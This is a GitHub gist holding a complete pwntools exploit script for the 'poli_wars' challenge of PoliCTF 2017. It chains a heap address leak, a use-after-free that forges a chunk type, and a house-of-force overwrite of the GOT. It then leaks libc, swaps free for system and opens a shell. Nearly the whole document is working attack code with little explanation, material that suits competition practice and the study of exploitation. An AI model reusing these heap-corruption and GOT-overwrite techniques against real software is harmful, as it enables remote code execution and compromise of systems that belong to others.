Created
July 14, 2017 02:36
-
-
Save m1ghtym0/f6280a346b27023d11c3c52d3784ea38 to your computer and use it in GitHub Desktop.
Exploit for poli_wars challenge from PoliCTF 2017
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from re import findall | |
from ctypes import c_int32 | |
# GLOBAL VARS | |
elf = ELF('./poli_wars') | |
libc = ELF('/usr/lib32/libc.so.6') | |
XWING_SIZE = 0x24 + 4 | |
Z95_SIZE = 0x1c + 4 | |
def read_menu(s): | |
s.recvuntil('5. Surrender_\n') | |
return | |
def read_fleet_menu(s): | |
s.recvuntil('support vehicle_\n') | |
def send_choice(s, choice): | |
s.sendline(str(choice)) | |
return | |
def face_deathstar(s, choice, wait): | |
send_choice(s, 1) | |
s.recvuntil('0 to use all your fleet!') | |
send_choice(s, choice) | |
if wait: | |
s.recvuntil('|_______|\n') | |
return | |
def expand_fleet(s, choice, name): | |
send_choice(s, 2) | |
read_fleet_menu(s) | |
send_choice(s, choice) | |
if choice == 1: | |
if 'deployed' not in s.recvline(): | |
log.error('smth wrong') | |
s.recvline() | |
s.sendline(name) | |
elif choice == 2: | |
if 'deployed' not in s.recvline(): | |
log.error('smth wrong') | |
s.recvline() | |
s.sendline(name) | |
elif choice == 3: | |
if 'deployed' not in s.recvline(): | |
log.error('smth wrong') | |
s.recvline() | |
s.sendline(name) | |
elif choice == 4: | |
if 'Chewie' not in s.recvline(): | |
log.error('smth wrong') | |
return | |
def arm_fleet(s, choice, ship, i0=None, i1=None, i2=None, i3=None, i4=None, i5=None, i6=None): | |
send_choice(s, 3) | |
s.recvline() | |
send_choice(s, choice) | |
s.recvline() # starship type | |
if ship == 'xwing': | |
arm_xwing(s,i0, i1, i2, i3, i4, i5, i6) | |
elif ship == 'z95': | |
arm_z95(s,i0, i1, i2, i3, i4, i5) | |
elif ship == 'bwing': | |
arm_bwing(s, i0, i1, i2, i3, i4) | |
elif ship == 'falcon': | |
arm_falcon(s, i0, i1, i2, i3, i4, i5) | |
return | |
def arm_xwing(s, l1, l2, l3, l4, c1, c2, name): | |
s.recvline() | |
s.sendline(l1) | |
s.recvline() | |
s.sendline(l2) | |
s.recvline() | |
s.sendline(l3) | |
s.recvline() | |
s.sendline(l4) | |
s.recvline() | |
s.sendline(c1) | |
s.recvline() | |
s.sendline(c2) | |
s.recvline() | |
s.send(name) | |
return | |
def arm_bwing(s, t1, t2, l1, l2, c1, name): | |
s.recvline() | |
s.sendline(t1) | |
s.recvline() | |
s.sendline(t2) | |
s.recvline() | |
s.sendline(l1) | |
s.recvline() | |
s.sendline(l2) | |
s.recvline() | |
s.sendline(c1) | |
s.recvline() | |
s.send(name) | |
return | |
def arm_z95(s, b1, b2, c1, c2, name): | |
s.recvline() | |
s.sendline(b1) | |
s.recvline() | |
s.sendline(b2) | |
s.recvline() | |
s.sendline(c1) | |
s.recvline() | |
s.sendline(c2) | |
s.recvline() | |
s.send(name) | |
return | |
def arm_falcon(s, l1, l2, l3, l4, s1, name): | |
s.recvline() | |
s.sendline(l1) | |
s.recvline() | |
s.sendline(l2) | |
s.recvline() | |
s.sendline(l3) | |
s.recvline() | |
s.sendline(l4) | |
s.recvline() | |
s.sendline(s1) | |
s.recvline() | |
s.send(name) | |
return | |
def examine_your_fleet(s): | |
send_choice(s, 4) | |
return s.recvrepeat() | |
def recv_xwing(content): | |
#s.recvline() | |
l1, l2 = findall(r' 1 charge: ([-\d]+) Laser 2 charge: ([-\d]+)', content)[-1] | |
l3, l4 = findall(r'Laser 3 charge: ([-\d]+) Laser 4 charge: ([-\d]+)', content)[-1] | |
p1, p2 = findall(r'Proton cannon 1 charge: ([-\d]+) Proton cannon 2 charge: ([-\d]+)', content)[-1] | |
name = findall(r'Pilot: (.*)', content)[-1] | |
return (l1, l2, l3, l4, p1, p2, name) | |
def recv_z95(content): | |
#s.recvline() | |
lines = s.recvlines(3) | |
print lines | |
b1, b2 = findall(r' 1 charge: ([-\d]+) Blaster 2 charge: ([-\d]+)', content)[-1] | |
c1, c2 = findall(r'Ion cannon 1 charge: ([-\d]+) Proton cannon 1 charge: ([-\d]+)', content)[-1] | |
name = findall(r'Pilot: (.*)', content)[-1] | |
return (b1, b2, c1, c2, name) | |
def recv_bwing(content): | |
#s.recvline() | |
lines = s.recvlines(4) | |
t1, t2 = findall(r' torped 1 charge: ([-\d]+) Proton torpedo 2 charge: ([-\d]+)', content)[-1] | |
l1, l2 = findall(r'Laser 1 charge: ([-\d]+) Laser 2 charge: ([-\d]+)', content)[-1] | |
p1, p2 = findall(r'Proton cannon 1 charge: ([-\d]+) Composite laser beam charge: ([-\d]+)', content)[-1] | |
name = findall(r'Pilot: (.*)', content)[-1] | |
return (t1, t2, l1, l2, p1, p2, name) | |
def recv_falcon(content): | |
#s.recvline() | |
lines = s.recvlines(4) | |
l1, l2 = findall(r' 1 charge: ([-\d]+) Laser 2 charge: ([-\d]+)', content)[-1] | |
l3, l4 = findall(r'Laser 3 charge: ([-\d]+) Laser 4 charge: ([-\d]+)', content)[-1] | |
s1 = findall(r'Shields charge: (.*)', content)[-1] | |
name = findall(r'Pilot: (.*)', content)[-1] | |
return (l1, l2, l3, l4, s1, name) | |
def intro(s): | |
line = s.recvline() | |
s.recvuntil('this time') | |
s.sendline('') | |
s.recvuntil('IT ANYMORE..\n') | |
heap, magic = findall(r'Initial heap: ([0-9a-fx]+), malloc of (\d+)\n', line)[0] | |
return heap, magic | |
def leak_heap(s): | |
read_menu(s) | |
send_choice(s, 6) | |
line = s.recvline() | |
heap, magic = findall(r'Many Bothan hackers died to bring us this information. ([0-9a-fx]+) - ([0-9a-f]+)\n', line)[0] | |
return int(heap, 16), int(magic, 16) | |
def create_chunk(s, ship, name=None): | |
read_menu(s) | |
if ship == 'xwing': | |
expand_fleet(s, 1, name) | |
if ship == 'z95': | |
expand_fleet(s, 2, name) | |
if ship == 'bwing': | |
expand_fleet(s, 3, name) | |
if ship == 'falcon': | |
expand_fleet(s, 4, name) | |
def fill_chunk(s, index, ship, i0=None, i1=None, i2=None, i3=None, i4=None, i5=None, i6=None): | |
read_menu(s) | |
arm_fleet(s, index, ship, i0, i1, i2, i3, i4, i5, i6) | |
def print_chunk(s, ship): | |
#read_menu(s) | |
content = examine_your_fleet(s) | |
if ship == 'xwing': | |
return recv_xwing(content) | |
if ship == 'z95': | |
return recv_z95(content) | |
if ship == 'bwing': | |
return recv_bwing(content) | |
if ship == 'falcon': | |
return recv_falcon(content) | |
#return contents[index] | |
def free_chunk(s, index): | |
read_menu(s) | |
face_deathstar(s, index, True) | |
def free_pwn(s, index): | |
read_menu(s) | |
face_deathstar(s, index, False) | |
def check_offset(heap_offset): | |
if heap_offset & 0xff0000 != 0xff0000: | |
return False | |
return True | |
''' | |
Use UAF to get a millenium falcon. | |
The ship IDs string is the fwd-pointer of a freed chunk, | |
so the idea is to get a free z95 ship with a fwd-ptr == 'xw\x00', | |
which is then (due to the UAF) treaded as a xwing which 8 bytes bigger | |
than a z95 so when can overflow into the next chunks ID field and set it | |
to a 'fl\x00' | |
''' | |
def get_a_millenium_falcon(s, heap_start, magic): | |
global XWING_SIZE, Z95_SIZE | |
# Check heap addr | |
#heap_start, magic = leak_heap(s) | |
log.info('Heap start = 0x{:08x}'.format(heap_start)) | |
#if heap_start & 0xff0000 != 0xff0000: | |
# log.error('Bad heap offset, try again') | |
heap_target = (heap_start & 0xff000000) + 0x01007778 + 8 # 0x007778 has to be the start of the chunk -> +8 is fwd-ptr | |
log.info('Heap target = 0x{:08x}'.format(heap_target)) | |
offset = heap_target - heap_start - 0x10 | |
chunk_cnt = 0 | |
#create xwings | |
while offset % 0x20: | |
create_chunk(s, 'xwing', 'AAAA') | |
chunk_cnt += 1 | |
offset -= XWING_SIZE | |
# create z95s | |
for i in range((offset/0x20)+1): | |
create_chunk(s, 'z95', 'AAAA') | |
chunk_cnt += 1 | |
# create_millenium_target | |
create_chunk(s, 'z95', 'AAAA') | |
chunk_cnt += 1 | |
# create_final_target | |
#create_chunk(s, 'z95', 'BBBB') | |
# setup ebp-0x10 to 0, so this write goes through: 0x08048C13 mov dword ptr [eax], 0 | |
log.info('Heap setup finished') | |
log.info('Creating fake millenium falcon') | |
#print_chunk(s, 0) | |
examine_your_fleet(s) | |
# create_free list | |
free_chunk(s, chunk_cnt-2) | |
free_chunk(s, chunk_cnt-3) | |
# we have to cleanup the second (last) chunk in the free list again, so it's next pointer points to zero again | |
# therefore we have to do an extra step | |
# overflow id field of chunk_cnt-1 with xw | |
payload = '' | |
payload += p32(0x21) # size field | |
payload += 'xw\0\0\n' #fwd_ptr | |
fill_chunk(s, chunk_cnt-3, 'xwing', i0='41', i1='42', i2='43', i3='44', i4='45', i5=str(0x20), i6=payload) | |
# overflow id field of chunk_cnt with fl | |
payload = '' | |
payload += p32(0x21) # size field | |
payload += 'fl\0\0\n' #fwd_ptr | |
fill_chunk(s, chunk_cnt-2, 'xwing', i0='41', i1='42', i2='43', i3='44', i4='45', i5=str(0x20), i6=payload) | |
# overflow id field (fwd-ptr) of chunk_cnt-1 with 0 | |
payload = '' | |
payload += p32(0x21) # size field | |
payload += '\0\0\0\0\n' #fwd_ptr | |
fill_chunk(s, chunk_cnt-3, 'xwing', i0='41', i1='42', i2='43', i3='44', i4='45', i5=str(0x20), i6=payload) | |
log.info("Created millenium falcon") | |
return chunk_cnt-1, heap_target | |
def house_of_force(target, heap_addr): | |
global elf, libc | |
# trigger hof by filling the millenium falcon | |
payload = '' | |
payload += p32(0x20) # prev_size | |
payload += p32(0xffffffff) # size field | |
payload += p32(0x0) #fwd_ptr | |
payload += p32(0x0) #bck_ptr | |
payload += '\n' | |
fill_chunk(s, target, 'falcon', i0='41', i1='42', i2='43', i3='44', i4='0', i5=payload) # i4 has to be 0 -> %s doesn't die | |
if 'Force is strong' in s.recvline(): | |
log.info('Allocating chunk before GOT') | |
# target addr &(wilderness.size) fwd_ptr offset | |
target_offset = ((elf.got['strcmp']-8) - (heap_addr + 0x40 - 4)) - 4 | |
s.sendline(str(target_offset)) | |
# dummy gets first of freelist, setting &GOT as head of freelist | |
create_chunk(s, 'xwing', 'AAAA')# -> target+1 | |
# allocate chunk right over got | |
create_chunk(s, 'xwing', 'bumo')# -> target+2 | |
''' | |
vaddr=0x0804e00c paddr=0x0000500c type=SET_32 strcmp | |
vaddr=0x0804e010 paddr=0x00005010 type=SET_32 printf | |
vaddr=0x0804e014 paddr=0x00005014 type=SET_32 fflush | |
vaddr=0x0804e018 paddr=0x00005018 type=SET_32 free | |
vaddr=0x0804e01c paddr=0x0000501c type=SET_32 getchar | |
vaddr=0x0804e020 paddr=0x00005020 type=SET_32 fgets | |
vaddr=0x0804e024 paddr=0x00005024 type=SET_32 __stack_chk_fail | |
''' | |
#result = print_chunk(s, target+2-1) | |
result = print_chunk(s, 'xwing') | |
strcmp_addr, printf_addr, fflush_addr, free_addr, getchar_addr, fgets_addr = map(lambda c: int(c)%2**32, result[:-1]) | |
libc.address = free_addr - libc.symbols['free'] | |
#import IPython; IPython.embed() | |
log.info('strcmp @ 0x{:08x}'.format(strcmp_addr)) | |
log.info('printf @ 0x{:08x}'.format(printf_addr)) | |
log.info('fflush @ 0x{:08x}'.format(fflush_addr)) | |
log.info('free @ 0x{:08x}'.format(free_addr)) | |
log.info('getchar @ 0x{:08x}'.format(getchar_addr)) | |
log.info('fgets @ 0x{:08x}'.format(fgets_addr)) | |
log.info('libc-base @ 0x{:08x}'.format(libc.address)) | |
log.info('system @ 0x{:08x}'.format(libc.symbols['system'])) | |
strcmp_addr, printf_addr, fflush_addr, free_addr, getchar_addr, fgets_addr = result[:-1] | |
fill_chunk(s, target+2, 'xwing', i0=strcmp_addr, i1=printf_addr, | |
i2=fflush_addr, i3=str(c_int32(libc.symbols['system']).value), i4=getchar_addr, | |
i5=fgets_addr, i6='boomo\n') | |
# target = cnt-1 -> overlfow: target-2 -> target-1 | |
payload = '' | |
payload += p32(0x21) # size field | |
payload += 'sh\x00\n' #fwd_ptr | |
fill_chunk(s, target-2, 'xwing', i0='41', i1='42', i2='43', i3='44', i4='45', i5=str(0x20), i6=payload) | |
log.info('Overwrote free@libc with system@libc') | |
log.success('Get ready for bomoooo') | |
free_pwn(s, target-1) | |
s.interactive() | |
# EXPLOIT | |
context.clear() | |
#context(os='linux', arch='i386', log_level='debug', bits=32) | |
context(os='linux', arch='i386', log_level='info', bits=32) | |
H,P = 'poliwars.chall.polictf.it', 31337 | |
correct_offset = False | |
while not correct_offset: | |
#s = remote(H,P,timeout=5) | |
s = process("./poli_wars", timeout=2) | |
heap, offset = intro(s) | |
heap_start, magic = leak_heap(s) | |
correct_offset = check_offset(heap_start) | |
if not correct_offset: | |
s.close() | |
log.info('Got correct heap offset, let\'s go!') | |
print "PID: {}".format(util.proc.pidof(s)) | |
pause() | |
falcon_index, heap_target = get_a_millenium_falcon(s, heap_start, magic) | |
house_of_force(falcon_index, heap_target) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment